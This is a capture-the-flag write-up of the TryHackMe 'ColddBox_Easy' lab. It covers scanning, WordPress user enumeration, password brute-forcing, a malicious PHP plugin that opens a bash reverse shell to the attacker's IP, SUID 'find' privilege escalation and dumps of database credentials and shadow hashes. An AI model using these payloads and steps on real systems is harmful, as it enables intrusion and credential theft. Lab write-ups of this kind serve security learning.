About

THM: ColddBox_Easy

IP: 10.10.28.115

Description:

An easy level machine with multiple ways to escalate privileges.

Recon

rustscan

Open 10.10.28.115:80
Open 10.10.28.115:4512

nmapinit

```
# Nmap 7.91 scan initiated Mon Jun 21 13:31:33 2021 as: nmap -Pn -p 80,4512 -v -sC -sV -oN recon/nmapinit.txt
10.10.28.115
Nmap scan report for 10.10.28.115
Host is up (0.24s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.1.31
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: ColddBox | One more machine
4512/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4e:bf:98:c0:9b:c5:36:80:8c:96:e8:96:95:65:97:3b (RSA)
|   256 88:17:f1:a8:44:f7:f8:06:2f:d3:4f:73:32:98:c7:c5 (ECDSA)
|_  256 f2:fc:6c:75:08:20:b1:b2:51:2d:94:d6:94:d7:51:4f (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 21 13:32:09 2021 -- 1 IP address (1 host up) scanned in 35.94 seconds
```

Enum

gobuster

$ gobuster dir -u http://10.10.28.115/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o enum/gob1.txt

```
/wp-content          (Status: 301) [Size: 317] [--> http://10.10.28.115/wp-content/]
/wp-includes         (Status: 301) [Size: 318] [--> http://10.10.28.115/wp-includes/]
/wp-admin            (Status: 301) [Size: 315] [--> http://10.10.28.115/wp-admin/]
```

wpscan

wpscan --url http://10.10.28.115/ -e vp,vt,u -o wpscan1.txt

```
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 3.8.18
      Sponsored by Automattic - https://automattic.com/
      @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[32m[+][0m URL: http://10.10.28.115/ [10.10.28.115]
[32m[+][0m Started: Mon Jun 21 13:49:00 2021

Interesting Finding(s):

[32m[+][0m Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[32m[+][0m XML-RPC seems to be enabled: http://10.10.28.115/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[32m[+][0m WordPress readme found: http://10.10.28.115/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[32m[+][0m The external WP-Cron seems to be enabled: http://10.10.28.115/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[32m[+][0m WordPress version 4.1.31 identified (Insecure, released on 2020-06-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://10.10.28.115/?feed=rss2, <generator>https://wordpress.org/?v=4.1.31</generator>
 |  - http://10.10.28.115/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.1.31</generator>

[32m[+][0m WordPress theme in use: twentyfifteen
 | Location: http://10.10.28.115/wp-content/themes/twentyfifteen/
 | Last Updated: 2021-03-09T00:00:00.000Z
 | Readme: http://10.10.28.115/wp-content/themes/twentyfifteen/readme.txt
 | [33m[!][0m The version is out of date, the latest version is 2.9
 | Style URL: http://10.10.28.115/wp-content/themes/twentyfifteen/style.css?ver=4.1.31
 | Style Name: Twenty Fifteen
 | Style URI: https://wordpress.org/themes/twentyfifteen
```

| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.0 (80% confidence)
| Found By: Style (Passive Detection)
| - http://10.10.28.115/wp-content/themes/twentyfifteen/style.css?ver=4.1.31, Match: 'Version: 1.0'

[34m[i][0m No plugins Found.

[34m[i][0m No themes Found.

[34m[i][0m User(s) Identified:

[32m[+][0m the cold in person
 | Found By: Rss Generator (Passive Detection)

[32m[+][0m philip
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[32m[+][0m c0ldd
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[32m[+][0m hugo
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[33m[!][0m No WPScan API Token given, as a result vulnerability data has not been output.
[33m[!][0m You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[32m[+][0m Finished: Mon Jun 21 13:49:23 2021
[32m[+][0m Requests Done: 369
[32m[+][0m Cached Requests: 52
[32m[+][0m Data Sent: 95.783 KB
[32m[+][0m Data Received: 66.47 KB
[32m[+][0m Memory used: 225.789 MB
[32m[+][0m Elapsed time: 00:00:22

users

philip
c0ldd
hugo

brute login

$ wpscan --url 10.10.28.115 -P /usr/share/wordlists/rockyou.txt -U phillip,c0ldd,hugo

```
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - c0ldd / 9876543210
```

c0ldd:9876543210

Exploit

Malicious Plugin - Reverse Shell

$ nano rev_add.php

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.2.26.235/4321 0>&1'");
?>
```

$ zip rev.zip ./rev_add.php

Upload, Install, & activate plugin

```
listening on [any] 4321 ...
connect to [10.2.26.235] from (UNKNOWN) [10.10.28.115] 60014
bash: cannot set terminal process group (1348): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ColddBox-Easy:/var/www/html/wp-admin$ whoami
whoami
www-data
```

Post-Xp

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

```
www-data@ColddBox-Easy:/var/www/html$ cat wp-config.php
cat wp-config.php
<?php
/**
 * The base configurations of the WordPress.
```

...

```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'colddbox');

/** MySQL database username */
define('DB_USER', 'c0ldd');

/** MySQL database password */
define('DB_PASSWORD', 'cybersecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');
```

```
www-data@ColddBox-Easy:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
</www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ColddBox-Easy:/var/www/html$ ls
ls
hidden           wp-blog-header.php    wp-includes        wp-signup.php
index.php        wp-comments-post.php  wp-links-opml.php  wp-trackback.php
license.txt      wp-config-sample.php  wp-load.php        xmlrpc.php
readme.html      wp-config.php         wp-login.php
wp-activate.php  wp-content            wp-mail.php
wp-admin         wp-cron.php           wp-settings.php
www-data@ColddBox-Easy:/var/www/html$ mysql -u c0ldd -p
mysql -u c0ldd -p
Enter password: cybersecurity

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 10614
Server version: 10.0.38-MariaDB-0ubuntu0.16.04.1 Ubuntu 16.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
```

```
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| colddbox           |
| information_schema |
+--------------------+
2 rows in set (0.00 sec)

MariaDB [(none)]> use colddbox;
```

```
MariaDB [colddbox]> show tables;
show tables;
+------------------------+
| Tables_in_colddbox     |
+------------------------+
| wp_commentmeta         |
| wp_comments            |
| wp_links               |
| wp_options             |
| wp_postmeta            |
| wp_posts               |
| wp_term_relationships  |
| wp_term_taxonomy       |
| wp_terms               |
| wp_usermeta            |
| wp_users               |
+------------------------+
11 rows in set (0.00 sec)

MariaDB [colddbox]> select * from wp_users;
```

```
select * from wp_users;
+----+------------+------------------------------------+---------------+---------------------+----------+---------------------+---------------------+---------
-----+--------------------+
| ID | user_login | user_pass                          | user_nicename | user_email          | user_url | user_registered     | user_activation_key | user_st
atus | display_name       |
+----+------------+------------------------------------+---------------+---------------------+----------+---------------------+---------------------+---------
-----+--------------------+
|  1 | c0ldd      | $P$BJs9aAEh2WaBXC2zFhhoBrDUmN1g0i1 | c0ldd         | c0ldd@localhost.com |          | 2020-09-24 15:06:57 |                     |
   0 | the cold in person |
|  2 | hugo       | $P$B2512D1ABvEkkcFZ5lLilbqYFT1plC/ | hugo          | hugo@localhost.com  |          | 2020-09-24 15:48:13 |                     |
   0 | hugo               |
|  4 | philip     | $P$BXZ9bXCbA1JQuaCqOuuIiY4vyzjK/Y. | philip        | philip@localhost.com |          | 2020-10-19 17:38:25 |                     |
   0 | philip             |
+----+------------+------------------------------------+---------------+---------------------+----------+---------------------+---------------------+---------
-----+--------------------+
3 rows in set (0.00 sec)
```

c0ldd:PBJs9aAEh2WaBXC2zFhhoBrDUmN1g0i1
hugo:PB2512D1ABvEkkcFZ5lLilbqYFT1plC/
phillip:PBXZ9bXCbA1JQuaCqOuuIiY4vyzjK/Y.

hashcat -m 400 hashes2crack.txt /usr/share/wordlists/rockyou.txt

•have not cracked phillip's hash yet

c0ldd:PBJs9aAEh2WaBXC2zFhhoBrDUmN1g0i1:9876543210
hugo:PB2512D1ABvEkkcFZ5lLilbqYFT1plC/:password123456
phillip:PBXZ9bXCbA1JQuaCqOuuIiY4vyzjK/Y.

Privesc: www-data -> root

$ find / -perm -u=s -type f

/usr/bin/find

*gtfobins

$ find . -exec /bin/bash -p \; -quit

/home/c0ldd/user.txt

RmVsaWNpZGFkZXMsIHByaW1lciBuaXZlbCBjb25zZWd1aWRvIQ==

/root/root.txt

wqFGZWxpY2lkYWRlcywgbcOhcXVpbmEgY29tcGxldGFkYSE=

Other

$ cat /etc/passwd

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

```
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
c0ldd:x:1000:1000:c0ldd,,,:/home/c0ldd:/bin/bash
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:111:117:MySQL Server,,,:/nonexistent:/bin/false



$ cat /etc/shadow

root:$6$AmnS9Mmu$ksCvZKfMuPg42PahTg4fOI4Iy1I.mFzffaw29yLh.-
2VxBV5XxvWvvy01NE5TsRcJHQ.MHDEIksgW5W7b5YEvl1:18529:0:99999:7:::
daemon:*:18484:0:99999:7:::
bin:*:18484:0:99999:7:::
sys:*:18484:0:99999:7:::
sync:*:18484:0:99999:7:::
games:*:18484:0:99999:7:::
man:*:18484:0:99999:7:::
lp:*:18484:0:99999:7:::
mail:*:18484:0:99999:7:::
news:*:18484:0:99999:7:::
uucp:*:18484:0:99999:7:::
proxy:*:18484:0:99999:7:::
www-data:*:18484:0:99999:7:::
backup:*:18484:0:99999:7:::
list:*:18484:0:99999:7:::
irc:*:18484:0:99999:7:::
gnats:*:18484:0:99999:7:::
nobody:*:18484:0:99999:7:::
systemd-timesync:*:18484:0:99999:7:::
systemd-network:*:18484:0:99999:7:::
systemd-resolve:*:18484:0:99999:7:::
systemd-bus-proxy:*:18484:0:99999:7:::
syslog:*:18484:0:99999:7:::
_apt:*:18484:0:99999:7:::
lxd:*:18529:0:99999:7:::
messagebus:*:18529:0:99999:7:::
uuidd:*:18529:0:99999:7:::
dnsmasq:*:18529:0:99999:7:::
c0ldd:$6$AnciUfDx$Y9lDZThc6/Q/rWMajprHD54ynCLBmy8swBujZO.CG6b7j7YZiR/-
RIrdhzn2euH1A9r2jJE2U0bbLarUFdwSI40:18529:0:99999:7:::
sshd:*:18529:0:99999:7:::
mysql:!:18529:0:99999:7:::
```